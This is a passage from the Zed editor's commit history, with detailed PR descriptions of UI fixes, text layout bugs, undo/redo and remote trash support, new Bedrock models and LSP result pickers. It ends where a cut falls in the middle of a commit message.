Commit Graph
31406 Commits
Author SHA1 Message Date
Daan De Meyer b6a1c2706e gpui: Avoid redundant group hover redraws (#61118)
Anonymous elements with group hover styles have no persistent hover
state. The
prepaint mouse handler treated missing state as unhovered and notified
the
current view for every pointer movement within the group. This made
controls
such as switches redraw continuously while the pointer moved over them.

Let anonymous elements use the existing paint-time hover transition
handler.
Only elements with persistent hover state now update that state and
notify from
prepaint. Add regression coverage for entering, moving within, and
leaving an
anonymous hover group.

Signed-off-by: Daan De Meyer <daan@amutable.com>

Release Notes:

- N/A

Signed-off-by: Daan De Meyer <daan@amutable.com>
2026-07-16 19:26:49 +00:00
Kirill Bulatov e6efd6fddc Fix post-taffy-bump layouting issues (#61107)
Follow-up to https://github.com/zed-industries/zed/pull/60721

Before:
<img width="564" height="470" alt="before"
src="https://github.com/user-attachments/assets/d825464d-f8d9-4fa1-bee3-42b5f615d4ba"
/>

<img width="745" height="221" alt="image"
src="https://github.com/user-attachments/assets/18139bec-6778-491a-9aa5-0112bd121723"
/>


After:
<img width="576" height="472" alt="after"
src="https://github.com/user-attachments/assets/4c3c37cf-12c4-421e-98e9-cc6e40aa099d"
/>

<img width="812" height="275" alt="image"
src="https://github.com/user-attachments/assets/407e06b4-101f-4984-8d5b-4e33895b5ae9"
/>


### Bug 1 — constraint-blind text layout cache (the collapse)

`TextLayout`'s measure closure is stateful (each call overwrites the
shared element state used for painting), and its cache check served
cached sizes to unconstrained probes regardless of the constraints they
were computed under:

1. `uniform_list::measure_item` lays an item out at `(MinContent,
MinContent)`; the row's `min_w_0` lets it shrink to ~0, so labels get
truncated at a tiny width — and that tiny size lands in the element
state.
2. The real layout probes the label's flex base size with
`available_space.width = MaxContent` (taffy maps Definite → MaxContent).
Truncated labels are `whitespace_nowrap`, so both `wrap_width` and
`truncate_width` were `None` → the cache check passed → the poisoned
tiny size became the flex basis → labels rendered at ~5 chars.

**Fix**: record `truncate_width` in `TextLayoutInner` and never serve a
cached layout that was computed *with* truncation to an unconstrained
probe; the honest intrinsic size is recomputed instead, and the final
`PerformLayout` call re-truncates against the real resolved width.

### Bug 2 — truncation width math disagrees with shaping (the ~2-char
loss)

After fix 1, rows got their full width, but exact-fit strings like
`Cargo.toml` still lost ~2 chars:

- Sizing measures via `shape_text` (real shaping with kerning); the
element gets exactly `ceil(shaped_width)`.
- The truncation decision (`LineWrapper::should_truncate_line_middle`
etc.) sums **per-character advances** — no kerning — with zero
tolerance, overestimating width for some glyph sequences. Text sitting
in a box of exactly its own measured width got truncated, losing ~2
chars to fit the `…`. String-dependent (kerning pairs), hence
`Cargo.toml` broke while `Cargo.lock` didn't.
- Previously masked because taffy 0.10 usually skipped the final measure
invocation, so the truncation path rarely ran with an exact-fit width.

**Fix**: before truncating (nowrap case, `wrap_width.is_none()`), shape
the untruncated text and skip truncation if the *shaped* width fits —
matching CSS `text-overflow`, which only activates on actual overflow.
Cheap: the shaping result is a `line_layout_cache` hit from the earlier
untruncated sizing probe.

### Bug 3 — `MinContent` used instead of `MaxContent` that caused over
truncation of certain labels

Release Notes:

- N/A
2026-07-16 17:23:49 +00:00
Oleksandr Kholiavko 18cdb6904d csv_preview: Refine table styling and header button visibility (#60995)
Cleans up table cell/row styling and reworks column header filter/sort
buttons so they stay out of the way until needed, with a gradient fade
instead of a hard clip when the header label is truncated.

### Summary

Improved CSV preview column headers to only show filter/sort actions on
hover, with a gradient fade for truncated labels

### Demo (todo)

| Before | After |
| --- | --- |
| <img width="771" height="626" alt="image"
src="https://github.com/user-attachments/assets/76dcf7b9-ed4a-444f-91f7-57f2acd16934"
/> | <img width="774" height="603" alt="image"
src="https://github.com/user-attachments/assets/aeda6693-ff37-41e6-a849-780874e23286"
/> |

### Testing

- Hover over a data column header: filter/sort buttons fade in, label
truncates behind a gradient rather than a hard edge
- Apply a filter or sort on a column: its buttons stay visible without
hovering
- Toggle row identifier / cell vertical alignment setting between top
and center: alignment applies consistently to both row identifiers and
cells
- Confirm table renders without the previous striping (only bottom
borders)

Release Notes:

-  N/A
2026-07-16 16:02:18 +00:00
Dino 58e8b489f7 project_panel: Avoid recording record excluded files changes (#61106)
# Objective

Fix error shown when attempting to undo/redo operations on excluded
files, for example, undoing a creation of a file in an excluded path.

## Solution

Since `worktree::Snapshot::entry_for_path` always returns `None` for
excluded files, these changes will simply avoid calling
`UndoManager::record` in `ProjectPanel::confirm_edit` if the created
entry is excluded. This can be confusing if the user is renaming a file
to another path that is excluded, as that will not be recorded and can't
be undone but we accept it as a limitation for now and will document
that.

In the future we can potentially support undoing of operations for
excluded file paths but that would mean not only introducing new methods
that operate directly on the absolute path instead of the entry id, as
well as changes to the proto messages, in order to ensure it's also
fixed in remote and collab.

## Testing

Tested manually, as shown in the "Showcase" section below and also
introduced a test for this –
`project_panel::tests::undo::excluded_create_is_not_recorded` .

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>


https://github.com/user-attachments/assets/7f8fca3e-2716-40bb-95db-c7119bb39b83

</details>

<details>
  <summary>After</summary>
  

https://github.com/user-attachments/assets/47b0322e-a323-4648-8a56-6e96266888d3

</details>

---

Release Notes:

- N/A
2026-07-16 12:07:35 +00:00
Dino ca2624960f project_panel: Disable undo and redo on read-only projects (#61104)
# Objective

Users in a read-only project should have no permission to create,
rename, move, trash or delete files, as such, they should also have no
way to undo or redo these actions. These changes ensure that the
listeners for both `project_panel::Undo` and `project_panel::Redo` are
only registered if the project is not read-only.

## Solution

The `ProjectPanel` listeners for both the `Undo` and `Redo` actions were
not gated behind the existing `!Project::is_read_only` call, on
`ProjectPanel::render`, so these changes move the listeners inside that
check.

## Testing

Currently, there isn't an easy way to manually test this, as these
actions were already disabled in collab and the easiest way to get into
a read-only project is connect as a collab guest. However, in order to
ensure this continues being asserted once we remove the collab
restriction, the
`project_panel::tests::undo::undo_redo_unavailable_for_read_only_collab_guest`
test has been added.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
2026-07-16 11:45:03 +00:00
Daan De Meyer 7eaddbc5d9 editor: Blink cursors only in the focused editor (#61086)
Every editor associated with a window observed window activation. The
handler enabled the blink manager for every editor, including hidden and
unfocused editors. Their independent 500 ms timers invalidated the
window out of phase and caused redundant full-window presents.

Window activation and deactivation are already represented as focus
transitions by GPUI: an inactive window has an empty effective focus
path. Remove the redundant activation observer and rely on the editor
focus and blur handlers to stop blinking on deactivation and restart it
only for the editor that owns focus on activation.

In a 40-second idle diagnostic run before this change, the steady-state
tail repeatedly contained invalidations from one or two editors per
frame. After the change, no unfocused-editor invalidations appeared.
Bounded scrollbar fades and visible activity animations remain
unchanged.

Add a regression test with focused and unfocused editors that covers
activation, deactivation, and reactivation.

Release Notes:

- Fixed cursors blinking in unfocused editors, reducing idle redraws.

---------

Signed-off-by: Daan De Meyer <daan@amutable.com>
2026-07-16 11:43:27 +00:00
Josh Kent 003decdcf8 agent_ui: Match ACP boolean option label colors (#61103)
# Objective

ACP boolean config option labels use the default text color, while
select option labels use the muted text color. This makes boolean
options such as Fast Mode look visually inconsistent with adjacent
configuration controls.

## Solution

Add a label color override to `Switch` while retaining `Color::Default`
for existing callers. Apply `Color::Muted` only when `agent_ui` renders
ACP boolean config options, leaving all other switches unchanged.

## Testing

Manually verified on macOS in the light theme.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior (verified visually)
- [x] Performance impact has been considered and is acceptable

## Showcase

### Before

<img width="449" height="37" alt="image"
src="https://github.com/user-attachments/assets/1abe3e39-b243-47b3-8a62-67a0b5a17b43"
/>

### After

<img width="445" height="39" alt="image"
src="https://github.com/user-attachments/assets/e134378c-84cb-4c72-92d1-98eecc2137e4"
/>

---

Release Notes:

- Fixed ACP boolean option labels to match other agent configuration
controls.
2026-07-16 11:32:43 +00:00
ian 6bb578a5f1 Fix focus handling in ProjectSearchBar. (#61093)
# Objective

Fix #61023

When project search is already open and focused, pressing the project
search shortcut again (`cmd-shift-f` / `ctrl-shift-f`) only re-focused
the query editor and did not select the existing query text. That made
it hard to quickly retype a search term—especially after a no-results
search, when focus stays in the search bar.

This aligns project search behavior with buffer search, where
`FocusSearch` focuses and selects the query.

## Solution

In `ProjectSearchBar::focus_search`, call `focus_query_editor` instead
of only focusing the query editor. `focus_query_editor` already focuses
the field and selects all text (same path used by `DeploySearch`).

## Testing

- [ ] Manual: open project search → type a non-matching query → Enter →
press project search shortcut again → query text should be selected so
typing replaces it
- [ ] Manual: same flow after a search that returns matches
- [ ] Manual: compare with buffer search (`cmd-f` / `ctrl-f`) to confirm
consistent “refocus selects query” behavior
- Platforms: tested / to be tested on macOS; Linux/Windows should behave
the same via the shared `FocusSearch` action

No automated test added yet; a `gpui::test` that deploys project search,
dispatches `FocusSearch`, and asserts the query editor selection would
be a good follow-up.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
2026-07-16 11:07:07 +00:00
Daniel StrobuschandSmit Barmase 4d72db8bc9 file_finder: Add include_ignored parameter to Toggle action (#59568)
# Objective

Allow keybindings to open the file finder with ignored files
pre-included, regardless of the global `file_finder.include_ignored`
setting:

```json
  {
    "bindings": {
      "ctrl-shift-o": ["file_finder::Toggle", { "include_ignored": true }]
    }
  }
```

Closes https://github.com/zed-industries/zed/discussions/42575

## Solution

- Describe the solution used to achieve the objective above.

## Testing

- Did you test these changes? If so, how?
   manually locally and a unit test.
- Are there any parts that need more testing?
  no
- How can other people (reviewers) test your changes? Is there anything
specific they need to know?
   no
- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?
  macOS

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

> This section is optional. If this PR does not include a visual change
or does not add a new user-facing feature, you can delete this section.

- Help others understand the result of this PR by showcasing your
awesome work!
- If this PR includes a visual change, consider adding a screenshot,
GIF, or video
- A before/after comparison is very useful for changes to existing
features!

While a showcase should aim to be brief and digestible, you can use a
toggleable section to save space on longer showcases:

<details>
  <summary>Click to view showcase</summary>

My super cool demos here

</details>

---

Release Notes:

- Added `include_ignored` parameter to `file_finder::Toggle` action,
allowing keybindings to open the file finder with ignored files
pre-included.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
2026-07-16 10:30:16 +00:00
i18uandKirill Bulatov 1f3ade2e04 workspace: Prevent overwriting window bounds when window is not active (#60950)
# Objective

- Prevent the Zed window height from shrinking to the built-in MacBook
screen's height after macOS screen lock or display sleep in
multi-monitor setups.
- Related to #41246.

## Solution

- Ignore window bounds change events in `observe_window_bounds` if the
window is currently inactive (`!window.is_window_active()`).
- **Explanation**: When the system locks or sleeps, macOS reconfigures
displays (monitors power down, and macOS temporarily treats the built-in
screen as the only primary display). This triggers a resize event on
inactive Zed windows to fit them onto the built-in display. Because the
window was inactive, the `observe_window_bounds` listener still
triggered and scheduled `save_window_bounds`, immediately overwriting
the workspace database with the temporary shrunk dimensions.
- By ignoring bounds updates when the window is inactive, we preserve
the correct original bounds in the database. Since a user-initiated
resize/move always activates/focuses the window first, bounds will still
be correctly persisted for intentional manual updates.

## Testing

- Yes, tested locally on macOS (Sequoia).
- Verified that compiling the `workspace` crate succeeds (`cargo check
-p workspace`).
- Ran all 220 unit tests in the `workspace` crate (`cargo test -p
workspace`), and all passed successfully.
- **How to test**:
1. Open Zed on an external monitor and set it to a large size (or
maximize).
  2. Lock the screen (or let the displays sleep).
  3. Wake/unlock the screen.
4. Verify that the window recovers and maintains its original height
instead of shrinking.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed an issue where the Zed window would shrink to the built-in
display's height on macOS after screen lock or display sleep in
multi-monitor setups.

Co-authored-by: Kirill Bulatov <kirill@zed.dev>
2026-07-16 10:06:41 +00:00
DinoandYara 23ee3ba37d project_panel: Add remote support for undo/redo system (#59709)
# Objective

Add remote (SSH) and collaboration support for trashing and restoring
files in the project panel, which in turn enables undo/redo of trash
operations against remote and collab projects.

Relates to #5039.

## Solution

- Updated the project panel undo system to carry `TrashId` instead of
`TrashedEntry`.
- Using `TrashedEntry` could get hairy, as it includes paths, which
wouldn't play too nicely when using, for exapmle, macOS as the client
and Windows as the host. Using a simple identifier is much easier in
this regard and simplifies implementation.
- Enabled the Trash action and context-menu entry on remote projects,
and removed the command palette filter in `ProjectPanel::new` that was
still hiding the action on remote.
- As far as I can tell, there isn't a reliable way to detect whether a
given remote actually supports the OS trash, so we expose the action
everywhere rather than guessing. On a remote without trash support the
action will fail when invoked but this is a conscious tradeoff until we
find a better way to handle this.
- `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on
each `Fs` implementation. Trashed files are referenced by an opaque
`TrashId` instead of passing a `TrashedEntry` around, which avoids
serializing filesystem paths in remote messages.
- Split the old `delete_entry(trash: bool)` API into distinct
`trash_entry`/`trash_file` (returning a `TrashId`) and
`delete_entry`/`delete_file` across `Project`, `Worktree`,
`LocalWorktree` and `RemoteWorktree`.
- This lets us drop the optional trash result (`Option<TrashedEntry>`)
from the delete path and require a `TrashId` from the trash path.
- Added new proto messages (`TrashProjectEntry`,
`TrashProjectEntryResponse`, `RestoreProjectEntry`,
`RestoreProjectEntryResponse`) to let clients request the host to trash
or restore entries.
- This deprecates `DeleteProjectEntry::use_trash`, but the host still
honors it. An older collab peer may request trashing via that flag
instead of the newer `TrashProjectEntry`. If the host ignored it, a
newer host would permanently delete a file the user meant to send to the
trash. The field will be removed in a later PR once all supported peers
use `TrashProjectEntry`.

## Testing

The following tests were introduced to ensure the new behavior is
correctly tested:

* `remote_server::remote_editing_tests::test_remote_trash_restore` –
Tests trashing a project entry in remote
*
`remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash`
– Test to ensure we continue respecting `DeleteProjectEntry::use_trash`
until it is fully removed
* `project_panel::tests::undo::trash_directory_undo_redo` – Not related
to these changes but a nice to have as we were missing a test ensuring
that trashing and then undoing and redoing it for a directory works as
expected

Besides these, the following scenarios were manually tested against a
remote session on the same machine (macOS):

- Trashing → Undo (Restore) → Redo (Trashing)
- Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing)
- Rename → Undo (Rename) → Redo (Rename)
- Move → Undo (Move) → Redo (Move)
- Batch Move → Undo (Batch Move) → Redo (Batch Move)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A

---------

Co-authored-by: Yara <git@yara.blue>
2026-07-16 09:41:21 +00:00
Jiby Jose 48a2860372 agent: Add GPT 5.6 Luna for ChatGPT subscription (#61083)
GPT 5.6 Luna now passes properly though the codex backend 

---

Release Notes:

- agent: Added GPT 5.6 Luna support for ChatGPT subscription
2026-07-16 07:43:30 +00:00
Apoorva VermaandNathan Sobo 749bd0d29f Fix auto-indent for braceless if/for/while in TypeScript (#60708)
type `if (true)`, hit enter, nothing indents. same for for/while.

5705919 commented these out to stop allman braces over-indenting
(#24976). fixed that, broke this. put them back with an optional `@end`
on the `{}` body so braced blocks stop before the brace and braceless
ones indent. same in tsx.

Fixes #60371.

Release Notes:

- Fixed TypeScript and TSX not auto-indenting the body of a braceless
`if`, `for`, or `while`

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
2026-07-15 23:29:16 +00:00
Shuhei KadowakiandDanilo Leal e9882ea4d2 workspace: Add visual indicator for editor zoom (#61039)
The earlier editor-only zoom implementation in #32860 rendered the
active pane with padding, a border, rounded corners, and a shadow. In
addition to keeping docks visible, that treatment made the transient
editor zoom mode apparent.

The current `ToggleEditorZoom` implementation (#53911) only omits
sibling panes from the pane group, without any visual indication.
Without a persistent control or decoration, the result can look like an
ordinary single-pane layout, so users cannot tell whether toggling the
command will restore hidden splits.

So this commit renders the maximized pane as an inset card with padding,
a subtle theme border, rounded corners, and a shadow. Keeping this
treatment in `PaneGroup` makes it apply only to editor zoom, leaves
docks untouched, and distinguishes it from `ToggleZoom`'s square
workspace overlay.

## Showcase

<img width="862" height="415" alt="Screenshot 2026-07-15 at 18 51 30"
src="https://github.com/user-attachments/assets/f61c61ce-79b7-4e3a-a9c4-0775931fa90d"
/>

---

Release Notes:

- N/A

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
2026-07-15 23:21:16 +00:00
Aliaksandr ZhyburtovichandNathan Sobo d54b7d693b editor: Preserve non-breaking whitespace during rewrap (#59893)
## Objective

Prevent rewrap from breaking at whitespace that Unicode classifies as
non-breaking.

The original approach, prompted by #59664, treated every non-ASCII
whitespace character as unbreakable. Unicode classifies `U+2009 THIN
SPACE` as breakable and `U+202F NARROW NO-BREAK SPACE` as its
non-breaking counterpart.

## Solution

- Treat `U+00A0 NO-BREAK SPACE`, `U+2007 FIGURE SPACE`, and `U+202F
NARROW NO-BREAK SPACE` as part of the surrounding word
- Keep thin spaces, em spaces, and other Unicode breaking spaces as
line-break opportunities
- Cover all three non-breaking whitespace variants in tokenizer and
wrapping tests

## Testing

- `cargo test -p editor rewrap::tests`

Release Notes:

- Fixed rewrap breaking lines at non-breaking spaces.

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
2026-07-15 22:17:51 +00:00
daydalek 932ea5a75b project: Fix include filters being ignored for non-ASCII search in multi-worktree projects (#60538)
`SearchQuery::text()` drops the `match_full_paths` parameter when
falling back to `escaped_regex` for non-ASCII queries, causing include
filters to match against wrong path formats in multi-worktree projects.

search works correctly after the fix 
<img width="1465" height="329" alt="截屏2026-07-07 21 32 34"
src="https://github.com/user-attachments/assets/039640e6-22ae-4eb5-a9da-909fd8498b77"
/>


Fixes #60513 

---

Release Notes:

- Fixed project search with non-ASCII queries incorrectly ignoring
include filters in multi-worktree projects.
2026-07-15 21:15:09 +00:00
Mikayla Maki 22c0cbd009 gpui: Bump taffy from 0.10.1 to 0.12.1 (#60721)
Migrates the alignment conversions to taffy's new safe-alignment style
types: `AlignItems`/`AlignContent` and friends are now structs pairing a
keyword with a safety modifier, constructed via associated constants
(e.g. `AlignItems::START`) instead of enum variants.

The motivating change in this release is [taffy
#911](https://github.com/DioxusLabs/taffy/commit/df2663aad35801f7522f6878a0300646dfe624f7)
("More correct caching logic"), which keys taffy's per-node measure
cache on axis, parent size, and available space. Today GPUI is largely
immune to the old cache-key conflation because text answers every sizing
probe with the same width; the follow-up PR in this stack (honest
min-content text measurement) returns different sizes for different
constraints, which makes cache-key correctness a prerequisite. 0.12.1
additionally hotfixes two block layout/caching regressions in 0.12.0,
and 0.11.0's grid fix (resolving item percentages against the grid area
rather than the container) comes along as well.

Stack:
1. **This PR** — taffy 0.12.1
2. #60722 — honest min-content text measurement
3. #60723 — CSS `auto` grid tracks for table-like column sizing

Release Notes:

- N/A
2026-07-15 19:47:15 +00:00
zed-zippy[bot] b76c0417c0 Bump Zed to v1.13.0 (#61059)
Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-15 17:30:36 +00:00
Ibrahim KhanandAnant Goel 48ba4bada2 bedrock: Add GPT-5.6 Sol, Terra, and Luna Mantle models (#61008)
# Objective

- Adds the three GPT-5.6 models (Sol, Terra, and Luna) that OpenAI now
serves through AWS Bedrock's `bedrock-mantle` endpoint, so they can be
selected as built-in models under the Amazon Bedrock provider.
- Follows up on the native Bedrock Mantle support added in #60480.
- Addresses the feature request in
https://github.com/zed-industries/zed/discussions/61003.

## Solution

- Adds `Gpt5_6Sol`, `Gpt5_6Terra`, and `Gpt5_6Luna` variants to
`MantleModel` in `crates/bedrock/src/models.rs`, with per-model
`id`/`request_id`/`display_name` and shared capability arms.
- All three are Responses-API, `bedrock-mantle`-only models, so they
reuse the existing Mantle request/response plumbing, region gating,
bearer-token auth, and model-picker wiring (`MantleModel::iter()`) with
no other changes required.
- Metadata mirrors the AWS Bedrock model cards
([Sol](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-openai-gpt-56-sol.html),
[Terra](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-openai-gpt-56-terra.html),
[Luna](https://docs.aws.amazon.com/bedrock/latest/userguide/model-card-openai-gpt-56-luna.html)):
272K context window, image input, tool and thinking support, and
`openai.gpt-5.6-{sol,terra,luna}` request IDs.
- Updates the Amazon Bedrock section of "Use a Gateway" to mention the
GPT-5.6 family.

## Testing

- `cargo test -p bedrock` — adds `test_gpt_5_6_mantle_model_metadata`
and extends `test_builtin_mantle_models_use_responses_protocol`; all
pass.
- `cargo test -p language_models mantle` — the consumer crate compiles
and all Mantle tests pass.
- `./script/clippy -p bedrock` passes with no new warnings; docs pass
`prettier --check`.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — N/A, no unsafe
code
- [x] The content adheres to Zed's UI standards — N/A, no UI change
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Added GPT-5.6 Sol, Terra, and Luna models to the Amazon Bedrock
provider via the `bedrock-mantle` endpoint.

---------

Co-authored-by: Anant Goel <anant@zed.dev>
2026-07-15 16:31:19 +00:00
Smit Barmase 7862fff55c settings_ui: Add confirmation prompt before deleting a skill (#61044)
Previously, clicking the trash icon on the Skills settings page
immediately moved the skill's directory to the trash.

This PR now shows a confirmation prompt explains what will be deleted
and where it's shared before anything is moved to the trash. This is
because that directory is shared with other agent tools
(`~/.agents/skills` or `{project}/.agents/skills`), deleting it silently
affects more than just Zed, I think it's better to explain that.

<img height="250" alt="global-skill-delete"
src="https://github.com/user-attachments/assets/d49ecc92-c195-42d2-924e-6fb9d024d2ec"
/>
<img height="250" alt="project-skill-delete"
src="https://github.com/user-attachments/assets/4b84af28-b8fd-4635-afe5-c1cd73d09e1a"
/>

Release Notes:

- Added a confirmation prompt when deleting skills from the settings
window.
2026-07-15 14:44:40 +00:00
David 919ec316f3 search: Add LSP location pickers for references, definitions, and diagnostics (#59838)
# Objective

Closes #59829

Provide a filterable, preview-backed picker for LSP results as an
alternative to the multi-buffer view, for references, definitions,
implementations.

## Solution

Update the 3 existing LSP actions (definitions, implementations, find
all references) to add a `open_results_in` parameter which accepts
either `multi_buffer` (default) or `picker` to show the results in a
filterable picker with preview. This behavior can be configured globally
in the settings via `lsp_results_location`.

UX:

- The 3 existing LSP actions each accept a `open_results_in` parameter
so that each action can be configuring individually with a custom
keybind
- The `lsp_results_location` global setting can be used to set a default
behavior with `open_results_in == None`
- Go to definition falls back to find all references (if configured) on
empty results which is consistent with the non-picker path
- Results are grouped by file; each row shows the line number and the
syntax-highlighted source line with the match emphasized.
- Typing filters by line text or path; the preview updates with the
selection.
- Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split,
and re-invoking the command toggles the picker closed.
- Empty results show a toast so the command never silently does nothing.
- Note: the new pickers do not open on cmd-click, only when invoked via
the command palette or keybind

## Testing

- No automated tests yet — holding for first-round feedback on the
approach and UX before adding tests.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase


https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8

---

Release Notes:

- The find all references, go to definitions, and go to implementations
LSP actions can be configured to open results in a picker with preview
instead of a multibuffer.
2026-07-15 14:36:43 +00:00
Ben Kunkle 27a3512d00 Classify edit prediction lifecycle triggers (#60983)
# Objective

Closes EP-89

- Replace ambiguous `Other` edit prediction telemetry for known editor
lifecycle events.

## Solution

- Classify editor creation, provider changes, user information changes,
Vim mode changes, and settings changes through the existing trigger
pipeline.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
2026-07-15 13:14:36 +00:00
Lukas Wirth 3bc93379ca path: Fix unconditional use of serde in path crate (#61037)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-15 12:17:10 +00:00
Lukas Wirth 24f720e094 Revert "agent_ui: Fix duplicate terminal when starting a new agent thread" (#61042)
Reverts zed-industries/zed#59586
The test introduced here is flaky
2026-07-15 10:57:06 +00:00
Lukas Wirth a6a2cd66b0 language_core: Remove lsp-types dependency (#61041)
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-15 10:46:01 +00:00
Smit Barmase c658639115 terminal_view: Fix cursor column for non-ASCII lines when opening path-like targets (#61036)
Found this while looking into a markdown preview issue. Clicking a
`path:row:column` target in the terminal treated the column as a byte
offset, so on lines with non-ASCII characters the cursor landed at mid
codepoint.

The real fix is just 3 lines and the rest is a refactor that extracts
the open and navigate logic so it can be reused later for cases like
markdown preview.

Release Notes:

- Fixed the cursor landing at the wrong column when clicking a
`path:row:column` link in the terminal for lines containing non-ASCII
characters.
2026-07-15 10:05:32 +00:00
Smit Barmase fc20a40bc8 settings_ui: Move deleted skills to trash instead of permanently deleting (#61031)
Deleting a skill from the settings UI permanently removed its directory
from `~/.agents/skills`, which is shared with other tools that read the
same unified skills directory. Now we move it to the system trash
instead so it's recoverable.

Release Notes:

- Deleting a skill now moves it to the system trash instead of
permanently deleting it.
2026-07-15 09:04:28 +00:00
Remco Smits 458c590537 agent_panel: Fix that the awaiting confirmation content does cover the hole agent panel (#60992)
# Objective

Currently the sticky `awaiting confirmation` content can grow as big as
the agent panel can go as you can see inside the before picture, that
shows that the full agent panel is coverd by the cofirmation content.
Which is not something we want, because there is no way to see the
actual thread anymore.

**Note**: There was already a fix for this according to this comment but
I could not end up inside that case where it would limit the content.
```
// Cap the content (e.g. a full plan awaiting
// approval) so the floating row can never
// consume the entire panel and squeeze the
// conversation list to zero height, while the
// permission buttons below stay visible.
```

## Solution

The fix is to actually limit the content to a max height of
160px(10rem), which is the value that it was before, but that didn't
work. So I made sure the tool output is now scrollable and it's height
is limited to the specified limit described earlier.

## Testing

You can ask if the agent wants to executes this command, that is just a
very long non existing url. Note, you need to have not auto accept of
permissions enabled to test this bug.

```
